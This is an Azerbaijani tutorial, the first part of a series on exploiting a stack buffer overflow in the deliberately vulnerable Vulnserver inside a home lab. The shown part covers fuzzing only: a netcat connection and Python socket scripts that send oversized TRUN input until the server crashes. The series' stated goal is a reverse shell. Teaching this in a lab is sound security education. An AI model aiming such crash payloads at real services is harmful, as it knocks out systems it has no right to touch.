Buffer Overflow Laboratoriyasının Qurulması və Exploitin İlkin Mərhələsi (Test Edilməsi)
Buffer Overflow nədir? Buffer Overflow Laboratoriyası nədən ibarətdir? Buffer Overflow zəifliyinin exploit edilməsi necədir?
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Stack daşmasının Exploit Edilməsi
Bu paylaşım seriyasında uzaq serverdə yerləşən proqram təchizatında Stack daşması zəifliyini exploit edərək uzaq serverdən reverse shell əldə etməyi reallaşdıracayıq.İstifadə olunan real metod ilə real mühitdə necə yerinə yetirməyi öyrəncəyik. Seriyada ilkin mərhələ olan Test Edilməsini ətraflı olaraq baxacayıq.
Laboratoriyanın Xülasəsi və Qurulması
Laboratoriya mühitində işlədiyimiz və icra etdiyimiz əməliyyatları siz tərəfindən yenidən icra etmək üçün hansı proqramların yüklənməsi və sistem haqqında məlumat aşağıda göstəriləcəkdir:
Zəifliyi olan Tətbiqin Yüklənməsi
Bizim laboratoriya mühitində exploit edilməsi üçün tətbiq edəcəyimiz proqram məhz bizim axtardığımız zəifliyə malikdir. O Vulnserver adlanır və Github üzərində bu link ilə yükləyə bilərik.
https://github.com/stephenbradshaw/vulnserver
Quraşdırıldıqdan sonra zipdən çıxarın və ayrıca qovluqda saxlayın.

Xakerin sistem məlumatları
- Əməliyyat sistemi: Kali Linux
- İP adresi: 192.168.10.40
Hədəfin sistem məlumatları
- Əməliyyat sistemi: Windows 10 x86
- IP adresi: 192.168.10.1
- Yüklənən proqramlar:
- İmmunity Debugger
- Vulnserver
1.Mərhələ — Test Edilməsi
Bu mərhələdə adından göründüyü kimi tətbiqin bufferin daşması zəifliyinin olub olmamasını test edirik.İlk öncə biz serverin uğurlu şəkildə cavab edəcəyi məlumatları göndərəcəyik, daha sonra payloadlarımı əlavə edərək serverin davranışını müşahidə edərək onun nə vaxt və necə işini dayandırdığını təyin edəcəyik. Test edilmə mərhələsinin adını bəzi mənbələrdə fuzzing olaraq da görə bilərik.
Normal Server Davranışı Yoxlanılması
Bunun üçün ilk öncə bizim Windows 10 əməliyyat sistemində Vulnserver proqramını icra etməliyik. Tətbiq özünə gələn trafiki 9999 portunda dinləyəcəkdir.

İlk dəfə icra etdiyimiz zaman Firewall xəbərdarlığı gələ bilər və onu Allow Access deyərək qəbul edirik. Beləliklər bizim zəifliyi olan serverimiz artıq aktivdir.
Vulnserveri Administrator kimi icra etməyiniz mütləqdir.Əks halda Kali cihazı serverə qoşula bilməyəcəkdir.
Kali cihazımız ilə bu serveri test edilməsini həyata keçirəcəyik. Serverə qoşulmaq və server ilə əlaqəni yoxlamaq üçün netcat alətindən istifadə edəcəyik.
┌──(root㉿kali)-[~]
└─# nc -nv 192.168.10.1 9999
(UNKNOWN) [192.168.10.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
Gördüyümüz kimi Vulnserverə qoşulan kimi fərqli kommandaları qəbul edir. Gələcək testlərimiz də TRUN kommandası ilə əməliyyatlar yerinə yetirək.Əvvəlcədən bilirik ki, TRUN kommandası bufferin daşması zəifliyinə malikdir. Əsl real həyat məsələlərində isə bütün kommandalar bir bir test edilməlidir.
İndi isə Python proqramlaşdırma dilinin köməyi ilə test edəcəyimiz server üçün skript yazırıq.İlkin olaraq skriptdə 10 ədəd A hərfini TRUN kommandası ilə göndəririk və serverin davranışı müşahidə etdikdə hər hansı xəta ilə qarşılaşmırıq.
import socket
# Serverə göndəriləcək test datası
test = b"A" * 10 # Python 3-də bytes formatında olmalıdır
try:
# Socket yaradılır (AF_INET = IPv4, SOCK_STREAM = TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Serverə bağlantı qurulur (IP və port dəyişdirilə bilər)
s.connect(('192.168.10.1', 9999))
# Serverin cavabını gözləyirik (optional)
response = s.recv(1024)
print("[+] Server cavabı:", response.decode(errors="ignore"))
# Payload hazırlanır və göndərilir
payload = b"TRUN /.:/" + test
s.send(payload)
print("[+] Payload göndərildi.")
# Cavabı qəbul edirik
response = s.recv(1024)
print("[+] Serverdən cavab:", response.decode(errors="ignore"))
except Exception as e:
print(f"[-] Xəta baş verdi: {e}")
finally:
# Bağlantı bağlanır
s.close()
print("[*] Əlaqə sonlandırıldı.")
Python skriptini exploit.py adı ilə yaddaşa verir və saxlayırıq. Skriptin icrası zamanı hər şeyin qaydasında getdiyini görə bilərik.
└─# python3 exploit.py
[+] Server cavabı: Welcome to Vulnerable Server! Enter HELP for help.
[+] Payload göndərildi.
[+] Serverdən cavab: TRUN COMPLETE
[*] Əlaqə sonlandırıldı.
Xətalı Server Davranışı Yoxlanılması
10 ədəd A hərfinin göndərilməsinin yerinə biz 10 000 ədəd A hərfini göndərək və serverin davranışı zamanı onun çökdüyünü görə bilərik. (Burada 10 000 ədədi təsadüfi bir əddədir və özünüz fərqli kəmiyyət verə bilərsiniz.)
import socket
# Serverə göndəriləcək test datası
test = b"A" * 10000 # Python 3-də bytes formatında olmalıdır
try:
# Socket yaradılır (AF_INET = IPv4, SOCK_STREAM = TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Serverə bağlantı qurulur (IP və port dəyişdirilə bilər)
s.connect(('192.168.10.1', 9999))
# Serverin cavabını gözləyirik (optional)
response = s.recv(1024)
print("[+] Server cavabı:", response.decode(errors="ignore"))
# Payload hazırlanır və göndərilir
payload = b"TRUN /.:/" + test
s.send(payload)
print("[+] Payload göndərildi.")
# Cavabı qəbul edirik
response = s.recv(1024)
print("[+] Serverdən cavab:", response.decode(errors="ignore"))
except Exception as e:
print(f"[-] Xəta baş verdi: {e}")
finally:
# Bağlantı bağlanır
s.close()
print("[*] Əlaqə sonlandırıldı.")
Və bu skripti cra etdiyimiz zaman serverin xətası ilə qarşılaşdıq.
└─# python3 exploit.py
[+] Server cavabı: Welcome to Vulnerable Server! Enter HELP for help.
[+] Payload göndərildi.
[-] Xəta baş verdi: [Errno 104] Connection reset by peer
[*] Əlaqə sonlandırıldı.
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat